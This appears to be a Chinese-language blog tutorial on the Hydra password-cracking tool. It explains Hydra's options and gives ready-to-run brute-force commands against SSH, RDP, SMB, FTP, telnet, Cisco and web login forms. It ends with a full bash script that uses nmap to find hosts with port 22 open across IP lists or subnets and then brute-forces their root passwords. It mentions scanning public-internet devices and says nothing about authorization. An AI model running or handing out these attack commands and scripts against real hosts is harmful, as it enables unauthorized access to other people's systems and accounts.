Hydra爆破神器

纪年科技aming
网络安全 ,深度学习,嵌入式,机器强化,生物智能,生命科学。
纸上得来终觉浅,绝知此事要躬行 !!!
寻找志同道合伙伴创业中。。。
- 全能的暴力破解工具,功能强大,几乎支持所有的协议,是著名黑客组织thc开发的
- 在Kali Linux下已经是默认安装的
- hydra还支持GUI图形界面(xhydra)

参数详解:
- 帮助命令:hydra -h //查看基本用法
hydra [[[-l login|-L file] [-p PASS|-P FILE]] | [-C FILE]] [-e ns]
[-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w time] [-f] [-s PORT] [-S] [-vV] server service [OPT]
-R 继续从上一次进度接着破解。
-S 采用SSL链接。
-s PORT 可通过这个参数指定非默认端口。
-l LOGIN 指定破解的用户,对特定用户破解。
-L FILE 指定用户名字典。
-p PASS 小写,指定密码破解,少用,一般是采用密码字典。
-P FILE 大写,指定密码字典。
-e ns 可选选项,n:空密码试探,s:使用指定用户和密码试探。
-C FILE 使用冒号分割格式,例如“登录名:密码”来代替-L/-P参数。
-M FILE 指定目标列表文件一行一条。
-o FILE 指定结果输出文件。
-f 在使用-M参数以后,找到第一对登录名或者密码的时候中止破解。
-t TASKS 同时运行的线程数,默认为16。
-w TIME 设置最大超时的时间,单位秒,默认是30s。
-v / -V 显示详细过程。
server 目标ip
service 指定服务名,支持的服务和协议:telnet ftp pop3[-ntlm] imap[-ntlm] smb smbnt http-{head|get}
http-{get|post}-form http-proxy cisco cisco-enable vnc ldap2 ldap3 mssql mysql oracle-listener
postgres nntp socks5 rexec rlogin pcnfs snmp rsh cvs svn icq sapr3 ssh smtp-auth[-ntlm] pcanywhere
teamspeak sip vmauthd firebird ncp afp等等。
使用案例:
使用hydra破解ssh的密码
hydra -L users.txt -P password.txt -vV -o ssh.log -e ns IP ssh
破解https:
# hydra -m /index.php -l username -P pass.txt IP https
破解teamspeak:
# hydra -l 用户名 -P 密码字典 -s 端口号 -vV ip teamspeak
破解cisco:
# hydra -P pass.txt IP cisco
# hydra -m cloud -P pass.txt 10.36.16.18 cisco-enable
破解smb:
# hydra -l administrator -P pass.txt IP smb
破解pop3:
# hydra -l muts -P pass.txt my.pop3.mail pop3
破解rdp 3389 :
hydra IP rdp -l administrator -P pass.txt -V破解http-proxy:
# hydra -l admin -P pass.txt http-proxy://10.36.16.18
破解telnet
# hydra IP telnet -l 用户 -P 密码字典 -t 32 -s 23 -e ns -f -V
破解ftp:
# hydra IP ftp -l 用户名 -P 密码字典 -t 线程(默认16) -vV
# hydra IP ftp -l 用户名 -P 密码字典 -e ns -vV
get方式提交,破解web登录:
# hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns IP http-get /admin/
# hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns -f IP http-get /admin/index.php
post方式提交,破解web登录:
该软件的强大之处就在于支持多种协议的破解,同样也支持对于web用户界面的登录破解,get方式提交的表单比较简单,这里通过post方式提交密码破解提供思路。该工具有一个不好的地方就是,如果目标网站登录时候需要验证码就无法破解了。带参数破解如下:
<form action="index.php" method="POST">
<input type="text" name="name" /><BR><br>
<input type="password" name="pwd" /><br><br>
<input type="submit" name="sub" value="提交">
</form>
假设有以上一个密码登录表单,我们执行命令:
# hydra -l admin -P pass.lst -o ok.lst -t 1 -f 127.0.0.1 http-post-form
“index.php:name=^USER^&pwd=^PASS^:<title>invalido</title>”
说明:
破解的用户名是admin,
密码字典是pass.lst,
破解结果保存在ok.lst,
-t 是同时线程数为1,
-f 是当破解了一个密码就停止,
ip 是本地,就是目标ip,
http-post-form表示破解是采用http 的post 方式提交的表单密码破解。
后面参数是网页中对应的表单字段的name 属性,
后面
批量
hydra -s 23 -V -l admin -p admin -t 16 -M IP地址目录 telnet
hydra -M target.txt rdp -L userlist.txt -P passwordlist.txt -V

组合拳 打造自己的 端口服务 弱密码爆破检测工具
SSH登录密码的破解工具已然有许多,但偶尔还是存在不能满足任务需求的情况。
比如,
批量地对IP列表里的IP地址进行SSH登录破解,
现有的工具直接使用起来总觉得不方便。
那么,能否利用现有的工具,来定制打造适合自己的装备?
当然可以,而且,这是想要偷懒的宝宝们需要掌握的一项技能。
- eg 批量爆破 密码 流程
首先探测对方主机是否开启22端口,如开启,则尝试进行SSH密码爆破。
这里用到两款强大的开源工具。
一个是nmap,用来探测22端口是否开启;
另一个是hydra,用来爆破SSH登录密码。
那么如何将这两款工具结合到一起使用,这里通过选用的是灵活的shell脚本。

过程分为两步,首先用nmap批量地扫描开放22端口的公网上的设备,运行命令如下
nmap -vv -n –sS -sU -p22 -iL ./iplist.txt | grep "Discovered open port" | awk {'print $6'} | awk -F/ {'print $1'} > ./22-output.txt
这条命令的含义是,扫描iplist.txt文件中的IP地址是否开启22端口;
如开启,则将这个结果输出到22-output.txt文件中。
这条命令还可以这样写:
nmap -vv -n –sS -sU -p22 192.168.1.0/24 | grep "Discovered open port" | awk {'print $6'} | awk -F/ {'print $1'} > ./22-output.txt
这是对一个网段的扫描,也可以换成一个IP。
-sS和-sU都是扫描策略的选项,
两个一起使用,可以提高扫描的可靠性。
在实际测试过程中(内网环境),
nmap还是存在漏扫的情况,想要提高它的准确率,还需自己不断尝试,
不断调整扫描策略才会有感觉。
第二步为,读取22-output.txt文件中开放22端口的主机,
使用hydra工具进行密码爆破,使用的命令如下:
hydra -l root -P ./password.txt -t 6 -vV 192.168.0.12 ssh | grep "host:"
这条命令的含义是采用密码本./password.txt中的密码,
对IP地址为:192.168.0.12的主机进行密码破解。
grep “host:”用来过滤打印的输出,只输出破解到密码的条目。
由于hydra一次只能对一个IP进行破解,
因此,在shell中写了一个循环,hydra一次任务结束后,
立即进行下一个IP的破解,
直到将22-output.txt文件中IP遍历完为止。
代码如下所示。
cat ./22-output.txt | while read line
do
echo "Current Task: ${line}"
hydra -l root -P $passfile -t 6 -vV $line ssh | grep "host:"
done
遍历代码很简单,不用惊讶,这就是shell脚本的神奇之处。
主要步骤讲完后,下面来看看整个代码,看如何用shell程序将这些串起来。
#!/bin/bash
if [ $# -lt 4 ]
#取得shell脚本参数个数 小于
# $0 取得脚本名度称(包含路径)
then
echo "usage: ./ -p ./password.txt -f ./iplist.txt"
echo "usage: ./ -p ./password.txt -l 192.168.9.0/24"
exit 1
fi
while [ -n "$1" ]
#字符串不为null,长度大于零
do
case "$1" in
#表达式
-p)
#匹配模式
passfile=$2
#echo $passfile
shift
;;
-f)
nmap -vv -n -sS -sU -p22 -iL $2 | grep "Discovered open port" | awk {'print $6'} | awk -F/ {'print $1'} > ./22-output.txt
# 从列表中输入 输出扫描结果
shift
;;
-l)
nmap -vv -n -sS -sU -p22 $2 | grep "Discovered open port" | awk {'print $6'} | awk -F/ {'print $1'} > ./22-output.txt
shift
;;
*)
echo "$1 is not an option"
echo "usage: ./ -p ./password.txt -f ./iplist.txt"
echo "usage: ./ -p ./password.txt -l 192.168.9.0/24"
exit 1
;;
esac
shift
done
echo "-----------port scan finished-----------"
chmod 666 ./22-output.txt
#echo `cat ./22-output.txt`
cat ./22-output.txt | while read line
#读取扫描结果
do
echo "Current Task: ${line}"
hydra -l root -P $passfile -t 6 -vV $line ssh | grep "host:"
# 根据密码字典爆破root
done
echo "-------password guessing finished-------"
这个程序做了一些参数传递的判断,核心代码行十分精简。
在使用程序之前,
需得在主机上安装nmap和hydra,Ubuntu下直接用apt安装。
运行很方便,下面是运行图,在内网环境下破解了3台主机的密码:
当然,能否破解成功,有一个好用的工具固然重要,但还需要一个强健的密码本。
















